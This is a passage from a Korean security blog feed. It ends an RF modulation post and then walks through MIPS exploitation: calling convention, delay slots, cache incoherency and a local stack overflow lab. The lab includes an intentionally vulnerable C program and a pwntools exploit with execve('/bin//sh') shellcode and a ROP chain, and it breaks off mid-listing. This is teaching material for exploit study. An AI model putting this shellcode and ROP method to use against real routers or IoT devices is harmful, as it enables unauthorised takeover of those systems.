&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;487&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eaYJpE/dJMcaaZtZ0n/K5hh0ZN4V8Wn4ISbDrTWTK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eaYJpE/dJMcaaZtZ0n/K5hh0ZN4V8Wn4ISbDrTWTK/img.jpg&quot; data-alt=&quot;modulation&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eaYJpE/dJMcaaZtZ0n/K5hh0ZN4V8Wn4ISbDrTWTK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeaYJpE%2FdJMcaaZtZ0n%2FK5hh0ZN4V8Wn4ISbDrTWTK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;133&quot; data-origin-width=&quot;487&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;modulation&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span&gt;아날로그 통신에서는 AM, FM처럼 연속적인 신호를 반송파에 싣는 방식이 사용되었다. AM은 반송파의 진폭을 변화시키고, FM은 반송파의 주파수를 변화시켜 정보를 전달한다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp;반면 현대 무선 통신에서는 대부분 디지털 변조를 사용한다. Wi-Fi, LTE, 5G에서는 0과 1로 이루어진 디지털 데이터를 전송해야 하므로 PSK, QAM과 같은 변조 방식이 사용된다. PSK는 위상 변화를 이용하고, QAM은 위상과 진폭을 함께 조절해 하나의 심볼에 여러 비트를 담는다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp; 핵심은 무선 통신은 단순히 전파를 쏘는 것이 아니라 전파의 물리적 특성을 조절해서 데이터를 표현하고 수신기가 이를 다시 해석하는 구조라는 것이다. 다만 본 글의 목적은 물리 계층의 세부 변조 원리를 깊게 다루는 것이 아니라 이후 무선 라우터의 네트워크 구조와 소프트웨어 공격 표면을 이해하기 위한 배경을 잡는 것이므로 여기서는 개념 수준에서만 정리하고 넘어가겠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 마무리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이번 글에서는 무선통신의 기초가 되는 RF 신호, 주파수, 파장, 채널, 대역폭, 위상, 변조 개념을 간단히 정리했다. 사실 이 내용들은 물리 계층에 가까운 내용이라 라우터 펌웨어나 소프트웨어 취약점 분석과 직접적으로 연결되지는 않는다. 하지만 무선 라우터와 모뎀을 분석하려면 장치가 어떤 방식으로 무선 통신을 수행하는지에 대한 최소한의 배경은 필요하다고 생각했다. &lt;br /&gt;&lt;br /&gt;&amp;nbsp;이후에는 RF 신호 자체보다는 Wi-Fi 네트워크 구조, LTE , 모뎀 제어 방식, AT command/QMI, 그리고 실제 펌웨어에서 동작하는 네트워크 서비스를 분석해보겠따.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reference: &lt;a href=&quot;https://www.networkacademy.io/ccna/wireless/introduction-to-radio-signals&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.networkacademy.io/ccna/wireless/introduction-to-radio-signals&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blog.naver.com/futuremain/221808629550?viewType=pc&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://blog.naver.com/futuremain/221808629550?viewType=pc&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림 사용은 비영리적인 목적에서 지식 정리를 위해 사용했음을 알리며, 문제가 있을시 바로 삭제 조치를 취하도록 하겠습니다. (The use of images is a benefit intended to inform users of riders for the purpose of organizing knowledge and to allow for immediate deletion in case of any issues.)&lt;/p&gt;</description>
      <category>Network</category>
      <author>haehet</author>
      <guid isPermaLink="true">https://haehet.tistory.com/31</guid>
      <comments>https://haehet.tistory.com/31#entry31comment</comments>
      <pubDate>Wed, 6 May 2026 18:42:15 +0900</pubDate>
    </item>
    <item>
      <title>MIPS Architecture Exploitation</title>
      <link>https://haehet.tistory.com/30</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;최근 임베디드 장비를 분석하던 중 발견한 취약점을 실제로 검증하고 공략하기 위해서는 해당 제품이 사용하는 아키텍처에 대한 이해가 필요하다는 것을 느꼈다. 특히 공유기와 같은 IoT 장비에서는 ARM뿐만 아니라 MIPS 기반 바이너리도 자주 등장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;MIPS는 x86과는 다른 레지스터 구조, 함수 호출 규약, 스택 프레임, 분기 방식 등을 가지고 있다. 따라서 기존에 x86-64 환경에서 익스플로잇을 작성하던 방식만으로는 MIPS 바이너리를 분석하거나 ROP 체인을 구성하기 어렵다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이번 글에서는 MIPS Architecture의 기본적인 구조와 주요 명령어 호출 규약 스택 프레임의 특징을 정리하고 이를 바탕으로 MIPS 환경에서 BOF와 ROP를 어떤 관점으로 분석해야 하는지 살펴보려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. MIPS란?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MIPS란 Microprocessor without Interlocked Pipeline Stages의 약자로 스탠포드 대학교에서 개발한 RISC 계열 CPU 아키텍쳐이다. MIPS의 핵심 설계 철학은 CPU 명령어와 하드웨어 구조를 최대한 단순하게 유지하는 것이다. CISC 계열 아키텍처처럼 하나의 명령어가 복잡한 작업을 수행하기보다는 단순한 명령어들을 조합하여 프로그램을 실행한다. 이런 구조 덕분에 명령어 디코딩이 단순하고 파이프라인 구성이 깔끔해지며 임베디드 환경에서도 비교적 효율적으로 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1381&quot; data-start=&quot;1214&quot; data-ke-size=&quot;size16&quot;&gt;MIPS는 현재 고성능 PC에서 주류로 사용되는 아키텍처는 아니지만, 공유기, 셋톱박스, 네트워크 장비, IoT 기기 같은 임베디드 장비에서는 오랫동안 사용되어 왔다. 실제로 공유기 펌웨어를 분석하다 보면 MIPS 기반 바이너리를 자주 볼 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1381&quot; data-start=&quot;1214&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;1381&quot; data-start=&quot;1214&quot; data-ke-size=&quot;size23&quot;&gt;2. MIPS Instruction&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 MIPS 아키텍쳐에서의&amp;nbsp;&lt;b&gt;익스플로잇&lt;/b&gt;을 중점으로 다룰 것이므로 명령어에 대한 설명은 cheat sheet 1개만 남기겠다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQHhQT/dJMcab467qM/hnn3ydrv8CBcGNlfvC0zj0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQHhQT/dJMcab467qM/hnn3ydrv8CBcGNlfvC0zj0/img.jpg&quot; data-alt=&quot;MIPS instruction cheat sheet&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQHhQT/dJMcab467qM/hnn3ydrv8CBcGNlfvC0zj0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQHhQT%2FdJMcab467qM%2Fhnn3ydrv8CBcGNlfvC0zj0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;768&quot; height=&quot;1024&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;MIPS instruction cheat sheet&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. MIPS Calling Convention&amp;nbsp;&lt;/h3&gt;
&lt;p data-end=&quot;617&quot; data-start=&quot;433&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;x86-64에서는 함수 인자가 보통 rdi, rsi, rdx, rcx 등의 레지스터를 통해 전달된다. 반면 MIPS o32 ABI에서는 첫 번째부터 네 번째 인자까지를&lt;b&gt; $a0 ~ $a3&lt;/b&gt; 레지스터를 통해 전달한다. 함수의 반환값은 $v0에 저장되며 함수 호출 후 돌아갈 주소는 &lt;b&gt;$ra&lt;/b&gt; 레지스터에 저장된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 간단한 프로그램을 통해 스택 구성을 알아보자.&lt;/p&gt;
&lt;pre id=&quot;code_1777629838341&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int print(const char*msg, int time){
    for (int k = 0; k &amp;lt; time; k++){
        printf(&quot;%s\n&quot;, msg);
    }
}

int main(){
   print(&quot;aslkdfkalsdfads&quot;, 3);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 위 프로그램을 실행 시키고 print 함수에 bp를 걸면 다음과 같이 a0에는 전달한 문자열이, a1에는 3이 들어있는 것을 확인가능하다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2607&quot; data-origin-height=&quot;1381&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkoIgr/dJMcajviAdF/l7OrxZybfPATzfkIx9j6e1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkoIgr/dJMcajviAdF/l7OrxZybfPATzfkIx9j6e1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkoIgr/dJMcajviAdF/l7OrxZybfPATzfkIx9j6e1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkoIgr%2FdJMcajviAdF%2Fl7OrxZybfPATzfkIx9j6e1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2607&quot; height=&quot;1381&quot; data-origin-width=&quot;2607&quot; data-origin-height=&quot;1381&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MIPS o32 ABI에서는 첫 4개의 인자가 $a0~$a3 레지스터로 전달된다. 하지만 ABI상 caller는 callee가 이 인자들을 저장할 수 있도록 stack frame 끝쪽에 4개 word, 즉 16바이트의 argument slot을 예약한다. 따라서 callee는 필요하다면 $a0, $a1 값을 자신의 frame 위쪽 즉 caller가 예약한 incoming argument slot에 저장할 수 있다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1716&quot; data-origin-height=&quot;746&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PC4a2/dJMcad2S65o/4nJBPYuK81BEmCfYfFPLik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PC4a2/dJMcad2S65o/4nJBPYuK81BEmCfYfFPLik/img.png&quot; data-alt=&quot;Mips srack frame&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PC4a2/dJMcad2S65o/4nJBPYuK81BEmCfYfFPLik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPC4a2%2FdJMcad2S65o%2F4nJBPYuK81BEmCfYfFPLik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1716&quot; height=&quot;746&quot; data-origin-width=&quot;1716&quot; data-origin-height=&quot;746&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Mips srack frame&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 $ra 레지스터 뒤에 incoming argument slot이 존재하는 것을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2510&quot; data-origin-height=&quot;566&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VhJNJ/dJMcacCY2EN/n9PmLCiNKhwD9qNK11bN30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VhJNJ/dJMcacCY2EN/n9PmLCiNKhwD9qNK11bN30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VhJNJ/dJMcacCY2EN/n9PmLCiNKhwD9qNK11bN30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVhJNJ%2FdJMcacCY2EN%2Fn9PmLCiNKhwD9qNK11bN30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2510&quot; height=&quot;566&quot; data-origin-width=&quot;2510&quot; data-origin-height=&quot;566&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. Delay Slot&lt;/h3&gt;
&lt;p data-end=&quot;254&quot; data-start=&quot;137&quot; data-ke-size=&quot;size16&quot;&gt;Delay slot은 분기 명령어 바로 다음에 있는 명령어가 분기 결과와 관계없이 실행되는 구조를 말한다. 예를 들어 다음 코드를 보면&lt;/p&gt;
&lt;pre id=&quot;code_1777631443261&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;beq     a0, zero, target
addiu   v0, v0, 1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$a0 == 0 이면 target으로 jmp 하고 그 아래의 명령어는 실행이 되지 않을 것 같지만 실제로는 다음과 같이 동작한다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777631497300&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. beq 조건을 검사한다.
2. 바로 다음 명령어인 addiu v0, v0, 1을 실행한다.
3. 그 다음 조건이 참이면 target으로 점프하고 거짓이면 그대로 아래로 진행한다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-end=&quot;627&quot; data-start=&quot;577&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;627&quot; data-start=&quot;577&quot; data-ke-size=&quot;size16&quot;&gt;즉, 위 코드에서 addiu v0, v0, 1은 a0 == 0이든 아니든 실행된다. 이때 분기 명령어 바로 뒤에 있는 한 명령어 위치를 &lt;b&gt;delay slot&lt;/b&gt;이라고 부른다. (Delay slot이 만들어진 이유에 대해서는 따로 다루지 않겠다.)&lt;/p&gt;
&lt;p data-end=&quot;627&quot; data-start=&quot;577&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2266&quot; data-origin-height=&quot;1353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QpaZz/dJMcagSUlk3/2SYl5An3zzCfc3Q4PoP431/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QpaZz/dJMcagSUlk3/2SYl5An3zzCfc3Q4PoP431/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QpaZz/dJMcagSUlk3/2SYl5An3zzCfc3Q4PoP431/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQpaZz%2FdJMcagSUlk3%2F2SYl5An3zzCfc3Q4PoP431%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2266&quot; height=&quot;1353&quot; data-origin-width=&quot;2266&quot; data-origin-height=&quot;1353&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;위와 같이 분기 명령어가 실행되기 전 Delay slot이 존재하는 것을 볼 수 있다.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. Cache&amp;nbsp;Incoherency&lt;/h3&gt;
&lt;p data-end=&quot;345&quot; data-start=&quot;239&quot; data-ke-size=&quot;size16&quot;&gt;MIPS 계열 CPU는 보통 명령어를 가져오는 &lt;b&gt;Instruction Cache(I-Cache)&lt;/b&gt;와 데이터를 읽고 쓰는 &lt;b&gt;Data Cache(D-Cache)&lt;/b&gt;를 분리해서 사용한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;744&quot; data-origin-height=&quot;485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cK14hq/dJMcabYmYdR/NdKUCtXprUjKsPPSHFwWIK/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cK14hq/dJMcabYmYdR/NdKUCtXprUjKsPPSHFwWIK/img.webp&quot; data-alt=&quot;Mips의 cache&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cK14hq/dJMcabYmYdR/NdKUCtXprUjKsPPSHFwWIK/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcK14hq%2FdJMcabYmYdR%2FNdKUCtXprUjKsPPSHFwWIK%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;744&quot; height=&quot;485&quot; data-origin-width=&quot;744&quot; data-origin-height=&quot;485&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Mips의 cache&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-end=&quot;345&quot; data-start=&quot;239&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;573&quot; data-start=&quot;463&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;일반적인 프로그램에서는 이 차이를 크게 신경 쓸 일이 없다. 하지만 exploit에서 stack이나 heap에 shellcode를 쓴 뒤 그 주소로 직접 jump하려고 하면 문제가 생길 수 있다.&lt;/p&gt;
&lt;p data-end=&quot;573&quot; data-start=&quot;463&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;
&lt;div style=&quot;color: #333333; text-align: start;&quot;&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;우리가 shellcode를 stack이나 heap에 쓰는 것은 data write이므로 D-Cache 경로를 통해 처리된다. 이때 최신 shellcode가 D-Cache에만 존재하고 main memory에는 아직 write-back되지 않았을 수 있으며 I-Cache에는 해당 주소의 오래된 instruction이 남아 있을 수 있다. 따라서 shellcode 주소로 바로 jump하면 CPU가 최신 shellcode를 instruction으로 fetch하지 못해 실행이 실패할 수 있다. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WNngd/dJMcacCY3HL/8wrkogFoQjpS0pLOdAcJ6k/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WNngd/dJMcacCY3HL/8wrkogFoQjpS0pLOdAcJ6k/img.webp&quot; data-alt=&quot;Mips의 Cache 쓰기 정책&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WNngd/dJMcacCY3HL/8wrkogFoQjpS0pLOdAcJ6k/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWNngd%2FdJMcacCY3HL%2F8wrkogFoQjpS0pLOdAcJ6k%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;673&quot; height=&quot;536&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;536&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Mips의 Cache 쓰기 정책&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;573&quot; data-start=&quot;463&quot; data-ke-size=&quot;size16&quot;&gt;위 문제를 해결하기 위해 주로 사용되는 방법은&amp;nbsp;&lt;b&gt;sleep()&amp;nbsp;&lt;/b&gt;함수를 호출하는 것이다. sleep 함수를 호출하면 syscall/context switch/시간 경과로 인해 cache 상태가 바뀌면서 shellcode 실행 안정성이 높아질 수 있기 때문이다.&lt;/p&gt;
&lt;p data-end=&quot;573&quot; data-start=&quot;463&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;573&quot; data-start=&quot;463&quot; data-ke-size=&quot;size23&quot;&gt;6. Stack Buffer Overflow Exploit&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 내용을 바탕으로 간단하게 Stack based BOF 예제를 실습해보자. 실습해볼 코드는 다음과 같다. (Cache Incoherency 우회용으로 sleep을 ROP로 호출하는 것은 너무 귀찮으므로 그냥 sleep(1)을 중간에 직접 넣었따).&lt;/p&gt;
&lt;pre id=&quot;code_1777636214701&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;


int vuln(){
    char buf[30];
    printf(&quot;Payload: &quot;);
    read(0, buf, 0x300);
    
    sleep(1);
    printf(&quot;I hope you to get shell\n&quot;);
    return 0;
}

int main(){
   setvbuf(stdout, NULL, _IONBF, 0);
   vuln();
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-end=&quot;573&quot; data-start=&quot;463&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;573&quot; data-start=&quot;463&quot; data-ke-size=&quot;size16&quot;&gt;익스플로잇은 다음과 같이 shellcode를 뿌리고 s0에 sp 관련 주소를 넣은뒤 해당 주소로 jmp를 했다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777639564021&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/env python3
from pwn import *
p = process([
    &quot;qemu-mipsel-static&quot;,
    &quot;-L&quot;, &quot;/usr/mipsel-linux-gnu&quot;,
    &quot;./main&quot;
])
context.log_level = 'info'

libc_base = 0x2b310000
pop_gadget = libc_base + 0x00052bf0
gadget_B   = libc_base + 0x0013eda4
call_s0    = libc_base + 0x001ab95c

# [1]  Shellcode

shellcode = (
    b&quot;\x69\x6e\x02\x3c&quot;  # lui   v0, 0x6e69
    b&quot;\x2f\x62\x42\x24&quot;  # addiu v0, v0, 0x622f
    b&quot;\xec\xff\xa2\xaf&quot;  # sw    v0, -0x14(sp)   # &quot;/bin&quot;
    b&quot;\x73\x68\x03\x3c&quot;  # lui   v1, 0x6873
    b&quot;\x2f\x2f\x63\x24&quot;  # addiu v1, v1, 0x2f2f
    b&quot;\xf0\xff\xa3\xaf&quot;  # sw    v1, -0x10(sp)   # &quot;//sh&quot;
    b&quot;\xf4\xff\xa0\xaf&quot;  # sw    zero, -0xc(sp)
    b&quot;\xfc\xff\xa0\xaf&quot;  # sw    zero, -4(sp)
    b&quot;\xfc\xff\xa6\x27&quot;  # addiu a2, sp, -4
    b&quot;\xec\xff\xa4\x27&quot;  # addiu a0, sp, -0x14
    b&quot;\xf8\xff\xa4\xaf&quot;  # sw    a0, -8(sp)
    b&quot;\xf8\xff\xa5\x27&quot;  # addiu a1, sp, -8
    b&quot;\xab\x0f\x02\x24&quot;  # li    v0, 4011        # execve
    b&quot;\x0c\x01\x01\x01&quot;  # syscall 0x40404
)
# [2] ROP payload

payload = b&quot;a&quot; * 0x24 
payload += p32(pop_gadget)
payload += b&quot;B&quot; * 0x18
payload += p32(0)  # s0 dummy
payload += p32(0)  # s1 dummy
payload += p32(0)  # s2 dummy
payload += p32(call_s0)     # s3 = jr s0 gadget
payload += p32(0)  # s4 dummy
payload += p32(gadget_B)    # ra = sp_to_s0 + call_s3 gadget

payload += b&quot;C&quot; * 0x2c
payload += shellcode

p.sendafter(b&quot;Payload: &quot;, payload)
p.interactive()

'''
0x00052bf0:
    addiu  $a0, $a0, -0x26f8
    lw     $ra, 0x2c($sp)
    lw     $s4, 0x28($sp)
    lw     $s3, 0x24($sp)
    lw     $s2, 0x20($sp)
    lw     $s1, 0x1c($sp)
